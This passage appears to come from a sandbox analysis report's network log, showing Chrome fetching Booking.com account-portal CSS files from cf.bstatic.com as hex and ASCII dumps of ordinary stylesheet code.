.TbKdEnq0dqyKrUwWtKsb:after{border-right-color:var(--bui_color_destructive_border);border-top-color:var(--bui_color_destructive_border)}.LpOuorlJcaFZiYnDlMPJ:after,.LpOuorlJcaFZiYnDlMPJ:before{background:currentcolor}.LpOuorlJcaFZi
2024-11-02 13:00:07 UTC	15350	IN	Data Raw: 5f 66 6f 72 65 67 72 6f 75 6e 64 29 7d 2e 54 50 50 77 78 44 62 44 55 53 33 32 36 39 6c 66 75 35 77 44 2e 65 43 45 55 37 31 53 58 4c 52 79 70 54 5f 48 72 41 37 64 71 3a 62 65 66 6f 72 65 2c 2e 54 50 50 77 78 44 62 44 55 53 33 32 36 39 6c 66 75 35 77 44 3a 6e 6f 74 28 2e 54 56 4f 70 47 36 78 31 33 72 49 4b 57 6b 37 4e 6e 65 44 5a 29 3a 61 63 74 69 76 65 3a 62 65 66 6f 72 65 2c 2e 54 50 50 77 78 44 62 44 55 53 33 32 36 39 6c 66 75 35 77 44 5b 64 61 74 61 2d 62 75 69 2d 66 6f 63 75 73 5d 3a 6e 6f 74 28 2e 54 56 4f 70 47 36 78 31 33 72 49 4b 57 6b 37 4e 6e 65 44 5a 29 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 68 69 67 68 6c 69 67 68 74 65 64 5f 61 6c 74 29 7d 40 6d 65 64 69 61 20 Data Ascii: _foreground)}.TPPwxDbDUS3269lfu5wD.eCEU71SXLRypT_HrA7dq:before,.TPPwxDbDUS3269lfu5wD:not(.TVOpG6x13rIKWk7NneDZ):active:before,.TPPwxDbDUS3269lfu5wD[data-bui-focus]:not(.TVOpG6x13rIKWk7NneDZ):before{background-color:var(--bui_color_highlighted_alt)}@media
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 41 68 50 2c 2e 66 64 38 63 38 4b 73 77 37 6d 6e 52 56 4d 6e 61 53 39 6c 6e 3e 2e 74 32 49 37 4c 5a 6d 30 46 42 4d 67 68 4d 34 54 51 41 68 50 7b 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 3a 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 3a 61 75 74 6f 20 30 7d 2e 76 34 44 6f 72 6a 42 37 45 49 6e 35 30 31 34 36 7a 64 42 51 3e 2e 74 32 49 37 4c 5a 6d 30 46 42 4d 67 68 4d 34 54 51 41 68 50 7b 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 3a 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 3a 30 20 61 75 74 6f 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 66 62 58 35 47 44 69 54 74 51 62 62 6c 65 4f 76 35 6f 45 79 3e 2e 74 32 49 37 4c 5a 6d 30 46 42 4d 67 68 4d 34 54 51 41 68 50 7b 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 3a 61 75 74 6f 20 30 3b 6d 61 Data Ascii: AhP,.fd8c8Ksw7mnRVMnaS9ln>.t2I7LZm0FBMghM4TQAhP{margin-block:0;margin-inline:auto 0}.v4DorjB7EIn50146zdBQ>.t2I7LZm0FBMghM4TQAhP{margin-block:0;margin-inline:0 auto}@media (min-width:576px){.fbX5GDiTtQbbleOv5oEy>.t2I7LZm0FBMghM4TQAhP{margin-block:auto 0;ma
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 66 6f 72 65 67 72 6f 75 6e 64 29 3b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 7d 7d 2e 69 32 7a 39 58 41 77 62 37 56 70 4e 4d 38 31 6e 35 6e 76 77 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 42 70 37 52 49 32 62 4d 30 6d 5f 61 70 62 6e 76 66 4c 34 41 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 73 6b 59 48 63 50 64 51 36 52 42 75 73 38 55 56 52 37 41 45 7b 69 6e 73 65 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 73 6b 59 48 63 50 64 51 36 52 42 75 73 38 55 56 52 37 41 45 3e 69 6d 67 2c 2e 73 6b 59 48 63 50 64 51 36 52 42 75 73 38 55 56 52 37 41 45 3e 70 69 63 74 75 72 65 2c 2e 73 6b 59 48 63 50 64 Data Ascii: ;color:var(--bui_color_foreground);padding:var(--bui_spacing_4x)}}.i2z9XAwb7VpNM81n5nvw{max-width:100%}.Bp7RI2bM0m_apbnvfL4A{position:relative}.skYHcPdQ6RBus8UVR7AE{inset:0;position:absolute}.skYHcPdQ6RBus8UVR7AE>img,.skYHcPdQ6RBus8UVR7AE>picture,.skYHcPd
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 31 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 31 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 36 78 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 36 78 29 7d 2e 6e 31 38 34 6e 6f 7a 38 58 52 67 47 77 58 71 50 5f 66 48 5f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 74 72 6f 6e 67 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 Data Ascii: --bui_font_small_1_font-size);font-weight:var(--bui_font_small_1_font-weight);height:var(--bui_spacing_6x);line-height:var(--bui_font_small_1_line-height);width:var(--bui_spacing_6x)}.n184noz8XRgGwXqP_fH_{font-family:var(--bui_font_strong_2_font-family);f
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2c 63 6f 6c 6f 72 7d 2e 6e 77 4b 37 34 69 46 49 53 66 4d 50 70 41 43 43 79 57 50 4d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 68 69 67 68 6c 69 67 68 74 65 64 5f 61 6c 74 29 7d 2e 44 62 4b 50 50 63 43 59 78 47 42 68 56 46 6a 6c 39 38 69 45 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 66 6f 72 65 67 72 6f 75 6e 64 29 7d 2e 4d 32 76 39 46 4d 79 46 69 38 6e 6f 4a 4a 41 72 37 67 41 51 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 62 65 66 6f 72 65 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b Data Ascii: on-property:background-color,color}.nwK74iFISfMPpACCyWPM:hover{background-color:var(--bui_color_highlighted_alt)}.DbKPPcCYxGBhVFjl98iE{color:var(--bui_color_action_foreground)}.M2v9FMyFi8noJJAr7gAQ{-webkit-margin-before:var(--bui_spacing_1x);display:block
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 32 35 36 70 78 7d 7d 2e 4d 68 39 34 76 78 56 58 5a 77 71 6f 73 79 65 62 70 5a 59 6b 7b 62 6f 72 64 65 72 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 71 30 74 4c 61 44 48 79 41 61 31 63 4d 6e 32 67 4e 72 6f 4f 7b 2d 77 65 62 6b 69 74 2d 70 61 64 64 69 6e 67 2d 61 66 74 65 72 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 61 64 64 69 6e 67 2d 62 6c 6f 63 6b 2d 65 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 7d 2e 4d 35 32 48 70 43 34 49 6f 58 4f 52 70 7a 6a 78 31 50 75 66 2c 2e 6f 42 70 5a 5f 65 45 39 4d 6a 6e 67 30 36 4f 61 79 71 75 7a 7b 2d 77 65 62 Data Ascii: 256px}}.Mh94vxVXZwqosyebpZYk{border:0;margin:0;padding:0}.q0tLaDHyAa1cMn2gNroO{-webkit-padding-after:var(--bui_spacing_1x);align-items:flex-end;display:flex;padding:0;padding-block-end:var(--bui_spacing_1x)}.M52HpC4IoXORpzjx1Puf,.oBpZ_eE9Mjng06Oayquz{-web
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 20 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 62 6f 72 64 65 72 29 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 4b 75 5f 4e 35 55 63 5a 32 64 76 64 6e 44 78 6b 62 6a 41 56 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 76 61 72 28 2d 2d 62 75 69 5f 61 6e 69 6d 61 74 69 6f 6e 5f 70 72 65 73 73 29 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 62 6f 78 2d 73 68 61 64 6f 77 7d 2e 4b 75 5f 4e 35 55 63 5a 32 64 76 64 6e 44 78 6b 62 6a 41 56 3a 68 6f 76 65 72 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 4b 71 50 32 7a 70 64 79 66 4c 59 32 4e 49 65 51 61 6a 41 5f 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 Data Ascii: var(--bui_color_action_border);outline:none}.Ku_N5UcZ2dvdnDxkbjAV{display:block;transition:var(--bui_animation_press);transition-property:box-shadow}.Ku_N5UcZ2dvdnDxkbjAV:hover{cursor:pointer}.KqP2zpdyfLY2NIeQajA_{border-color:transparent;box-shadow:0 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:06 UTC	585	OUT	GET /psb/accountsportal/assets/704_9a0ec8d2f80e7d346616.css HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:06 UTC	712	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 57657 Connection: close Date: Sat, 02 Nov 2024 08:55:28 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "4cfb9c72f58604193c36df52d6186da9" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: RpQvs_T6TEj1lPA8v4mqHtE_la0S3WdO Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 9eb1733bea847c3a8f4910adebcc8146.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: Eyn-U6RbQkiWjuHrFjzaCU24DM_atKHv_0ohG9IM6_vVyJ8xe3jssg== Age: 14679 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:06 UTC	15672	IN	Data Raw: 2e 75 4e 6e 42 4b 31 4d 5a 66 70 5a 50 34 7a 4f 4c 4e 42 64 77 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 2e 58 74 54 68 59 53 68 6a 50 79 7a 48 62 39 6a 4a 31 5a 30 41 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 7b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 76 61 72 28 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 64 65 6c 69 62 65 72 61 74 65 29 20 76 61 72 28 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 6f 75 74 29 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 6f 70 61 63 69 74 79 2c 74 72 61 6e 73 66 6f Data Ascii: .uNnBK1MZfpZP4zOLNBdw{display:inline-block;vertical-align:middle}.XtThYShjPyzHb9jJ1Z0A{display:block}.jZT8XFG2FDJu9hQW6y7a{opacity:0;pointer-events:none;transition:var(--bui_timing-deliberate) var(--bui_easing-slow-out);transition-property:opacity,transfo
2024-11-02 13:00:06 UTC	16384	IN	Data Raw: 6c 61 79 5f 33 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 33 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 33 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6d 65 64 69 75 6d 5f 66 6f 6e 74 5f 64 69 73 70 6c 61 79 5f 33 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 7d 2e 61 70 4c 59 7a 42 54 78 32 46 76 77 37 41 6c 48 6c 4d 69 63 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 Data Ascii: lay_3_font-family);font-size:var(--DO_NOT_USE_bui_medium_font_display_3_font-size);font-weight:var(--DO_NOT_USE_bui_medium_font_display_3_font-weight);line-height:var(--DO_NOT_USE_bui_medium_font_display_3_line-height)}.apLYzBTx2Fvw7AlHlMic{font-family:va
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 65 6e 64 3a 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 7d 2e 54 4b 65 7a 31 41 78 6f 77 70 58 58 6d 5f 65 43 61 5f 42 7a 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 45 6b 41 65 55 6d 37 34 6d 70 63 69 66 6f 65 51 64 69 41 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6c 65 66 74 3a 35 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 7d 2e 74 58 35 72 79 4d Data Ascii: t:var(--bui_spacing_2x);-webkit-margin-end:0;margin-inline-end:0;margin-inline-start:var(--bui_spacing_2x)}.TKez1AxowpXXm_eCa_Bz{position:relative}.iEkAeUm74mpcifoeQdiA{display:none;left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}.tX5ryM
2024-11-02 13:00:07 UTC	9217	IN	Data Raw: 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 65 6d 70 68 61 73 69 7a 65 64 5f 31 5f 66 6f 6e 74 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 65 6d 70 68 61 73 69 7a 65 64 5f 31 5f 66 6f 6e 74 2d 77 65 69 67 68 74 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 44 4f 5f 4e 4f 54 5f 55 53 45 5f 62 75 69 5f 6c 61 72 67 65 5f 66 6f 6e 74 5f 65 6d 70 68 61 73 69 7a 65 64 5f 31 5f 6c 69 6e 65 2d 68 65 69 67 68 74 29 3b 6d 61 72 67 69 6e 2d 62 6c 6f 63 6b 2d 65 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 62 75 74 74 6f 6e 5f 6c 61 72 Data Ascii: ont-family);font-size:var(--DO_NOT_USE_bui_large_font_emphasized_1_font-size);font-weight:var(--DO_NOT_USE_bui_large_font_emphasized_1_font-weight);line-height:var(--DO_NOT_USE_bui_large_font_emphasized_1_line-height);margin-block-end:var(--bui_button_lar

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49711	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:06 UTC	585	OUT	GET /psb/accountsportal/assets/629_a83b0423500bf7bdde4f.css HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:06 UTC	713	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 214208 Connection: close Date: Sat, 02 Nov 2024 09:39:33 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "ab6a4a1353fc0d25a859d01f147e1c6d" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: _ifRWT9LazioBCgHtqd5Jg9uBg74KzPg Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 c63140c3859a31aa195816b9d66d1f2c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: Qu2XVFAC0jBhLYxJ6Z8FLdL3BoRQdwM8yYQBVbAatGkaJVks6IWA6Q== Age: 12034 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 37 35 70 78 29 7b 2e 46 62 54 4d 58 6f 4e 71 59 57 6b 77 37 49 34 79 62 4b 67 43 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 73 74 61 72 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 2a 2d 31 29 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 65 6e 64 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 2a 2d 31 29 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 73 74 61 72 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 65 6e 64 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 30 21 69 6d Data Ascii: @media (max-width:575px){.FbTMXoNqYWkw7I4ybKgC{-webkit-margin-start:calc(var(--bui_spacing_4x)-1)!important;-webkit-margin-end:calc(var(--bui_spacing_4x)-1)!important;-webkit-border-start:0!important;-webkit-border-end:0!important;border-inline-end:0!im
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 69 67 68 74 3a 31 30 30 25 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 38 30 70 78 29 7b 2e 53 4a 6e 69 68 68 68 4f 6c 61 76 74 7a 79 4c 77 5a 4c 51 55 3a 6f 6e 6c 79 2d 63 68 69 6c 64 2c 2e 6f 4d 57 7a 51 4d 38 4e 42 34 47 37 4b 5a 7a 51 52 79 32 39 3a 6f 6e 6c 79 2d 63 68 69 6c 64 7b 2d 2d 62 75 69 5f 73 74 61 63 6b 5f 68 65 69 67 68 74 3a 31 30 30 25 7d 7d 2e 6c 62 6b 79 4b 58 66 64 66 49 44 41 4d 47 62 5f 78 76 30 45 3a 6e 74 68 2d 63 68 69 6c 64 28 6e 29 2c 2e 7a 4e 5a 58 6f 68 65 33 76 78 44 75 4d 77 7a 4a 55 67 42 51 3a 6e 74 68 2d 63 68 69 6c 64 28 6e 29 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 65 6e 64 3a 69 6e 69 74 69 61 6c 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 62 65 66 6f 72 65 3a 69 6e 69 74 69 61 6c 3b Data Ascii: ight:100%}}@media (min-width:1280px){.SJnihhhOlavtzyLwZLQU:only-child,.oMWzQM8NB4G7KZzQRy29:only-child{--bui_stack_height:100%}}.lbkyKXfdfIDAMGb_xv0E:nth-child(n),.zNZXohe3vxDuMwzJUgBQ:nth-child(n){-webkit-margin-end:initial;-webkit-margin-before:initial;
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 6f 6e 73 74 72 75 63 74 69 76 65 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 29 7d 2e 68 38 68 65 4f 7a 56 4f 51 77 72 70 63 51 6a 4a 78 46 38 78 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 29 7d 2e 51 6c 6e 63 5f 74 43 74 65 31 66 49 55 4f 55 4f 34 6c 4f 47 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 62 61 63 6b 67 72 6f 75 6e 64 5f 61 6c 74 29 7d 2e 51 31 4f 77 59 6c 35 76 6b 70 46 34 68 78 47 34 6f 59 4c 48 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 Data Ascii: ound-color:var(--bui_color_constructive_background_alt)}.h8heOzVOQwrpcQjJxF8x{background-color:var(--bui_color_callout_background_alt)}.Qlnc_tCte1fIUOUO4lOG{background-color:var(--bui_color_accent_background_alt)}.Q1OwYl5vkpF4hxG4oYLH{background-color:var
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 29 20 34 32 2e 31 32 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 36 31 36 29 20 35 36 2e 32 38 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 36 36 33 29 20 37 30 2e 31 33 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 36 39 29 20 38 34 2e 38 38 25 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 37 30 32 29 29 7d 2e 55 43 56 30 34 37 53 30 6c 72 51 4c 5f 64 33 4b 47 79 34 65 20 2e 6c 77 65 4c 45 7a 43 37 5f 72 59 41 70 4b 47 79 4a 45 44 52 3a 62 65 66 6f 72 65 2c 2e 7a 4e 78 55 38 4d 6d 4e 34 47 56 47 37 54 39 5f 51 35 54 5f 20 2e 6c 77 65 4c 45 7a 43 37 5f 72 59 41 70 4b 47 79 4a 45 44 52 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 2a 31 33 29 3b 6c 65 66 74 3a 30 Data Ascii: ) 42.12%,rgba(0,0,0,.616) 56.28%,rgba(0,0,0,.663) 70.13%,rgba(0,0,0,.69) 84.88%,rgba(0,0,0,.702))}.UCV047S0lrQL_d3KGy4e .lweLEzC7_rYApKGyJEDR:before,.zNxU8MmN4GVG7T9_Q5T_ .lweLEzC7_rYApKGyJEDR:before{content:"";height:calc(var(--bui_spacing_1x)*13);left:0
2024-11-02 13:00:07 UTC	16384	IN	Data Raw: 64 69 6e 67 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 3b 2d 77 65 62 6b 69 74 2d 70 61 64 64 69 6e 67 2d 65 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 3b 2d 77 65 62 6b 69 74 2d 70 61 64 64 69 6e 67 2d 62 65 66 6f 72 65 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 3b 2d 77 65 62 6b 69 74 2d 70 61 64 64 69 6e 67 2d 61 66 74 65 72 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 Data Ascii: ding-start:var(--bui_spacing_4x);-webkit-padding-end:var(--bui_spacing_4x);-webkit-padding-before:var(--bui_spacing_2x);-webkit-padding-after:var(--bui_spacing_2x);-webkit-backface-visibility:hidden;backface-visibility:hidden;box-sizing:border-box;display
